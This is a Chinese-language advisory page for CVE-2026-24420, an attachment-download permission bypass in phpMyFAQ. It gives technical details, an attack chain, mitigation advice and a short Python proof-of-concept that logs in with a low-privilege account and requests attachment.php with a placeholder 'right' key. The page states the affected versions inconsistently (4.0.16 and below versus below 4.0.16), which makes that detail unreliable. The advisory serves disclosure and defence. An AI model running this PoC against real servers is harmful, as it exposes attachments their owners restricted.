IPBUF安全漏洞报告
English
CVE-2026-24420 CVSS 6.5 中危

CVE-2026-24420: phpMyFAQ 附件下载权限绕过漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24420
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

权限绕过访问控制phpMyFAQCVE-2026-24420附件下载信息泄露

漏洞概述

CVE-2026-24420是phpMyFAQ中的一个访问控制权限绕过漏洞。phpMyFAQ是一款开源的FAQ(常见问题解答)Web应用程序。该漏洞存在于4.0.16及以下版本中,允许已认证用户(即使没有dlattachment下载附件权限)非法下载FAQ附件。漏洞的根本原因在于attachment.php文件中的权限检查机制不够全面,错误地将存在某个right key作为授权证明。此外,组和用户权限逻辑中存在缺陷的条件表达式,可能导致未授权访问。攻击者利用该漏洞可获取敏感附件内容,对系统机密性造成影响。CVSS评分6.5,属于中等严重程度。

技术细节

该漏洞属于不安全的权限检查(Insecure Permission Check)漏洞。在phpMyFAQ的attachment.php文件中,附件下载功能的权限验证存在两处缺陷:

1. Right Key验证不当:代码将某个right key的存在错误地作为用户拥有下载权限的证明,而没有正确验证用户是否真正具有dlattachment权限。攻击者只需持有任意有效的right key即可绕过权限检查。

2. 条件表达式逻辑错误:组权限和用户权限的判断逻辑中存在错误的条件表达式,导致权限检查失败,使得本应被拒绝的请求被允许通过。

攻击者需要具备有效的用户会话(低权限账户即可),通过构造特定的HTTP请求访问attachment.php,利用上述权限验证缺陷下载本无权限访问的FAQ附件。攻击复杂度低,无需用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取phpMyFAQ低权限账户(无需dlattachment权限)
STEP 2
步骤2
使用低权限账户登录系统获取有效会话
STEP 3
步骤3
构造恶意请求访问attachment.php,利用错误的权限检查逻辑
STEP 4
步骤4
通过提供任意有效right key绕过dlattachment权限验证
STEP 5
步骤5
成功下载本无权限访问的FAQ附件,造成机密信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-24420 PoC - phpMyFAQ Attachment Download Authorization Bypass # Target: phpMyFAQ <= 4.0.16 # Vulnerability: Insecure permission check in attachment.php allows authenticated users # without dlattachment permission to download FAQ attachments TARGET_URL = "http://target-server/phpmyfaq" LOGIN_URL = f"{TARGET_URL}/login.php" ATTACHMENT_URL = f"{TARGET_URL}/attachment.php" session = requests.Session() # Step 1: Authenticate with a low-privilege account (without dlattachment permission) login_data = { "user": "low_privilege_user", "password": "user_password", "action": "login" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Exploit the authorization bypass # The vulnerable code checks for a right key existence instead of proper permission verification # Send request to download attachment without having dlattachment permission attachment_params = { "id": "attachment_file_id", # Target attachment ID "right": "some_existing_right_key" # Any valid right key bypasses the check } response = session.get(ATTACHMENT_URL, params=attachment_params) # If successful, the attachment content will be returned if response.status_code == 200 and response.headers.get('Content-Type') != 'text/html': print(f"[+] Successfully downloaded attachment: {len(response.content)} bytes") else: print("[-] Exploitation failed")

影响范围

phpMyFAQ < 4.0.16

防御指南

临时缓解措施
如果无法立即升级,可临时限制attachment.php的访问,对下载功能进行额外的权限校验,确保只有明确具有dlattachment权限的用户才能下载附件。同时监控异常的文件访问日志,及时发现可疑行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表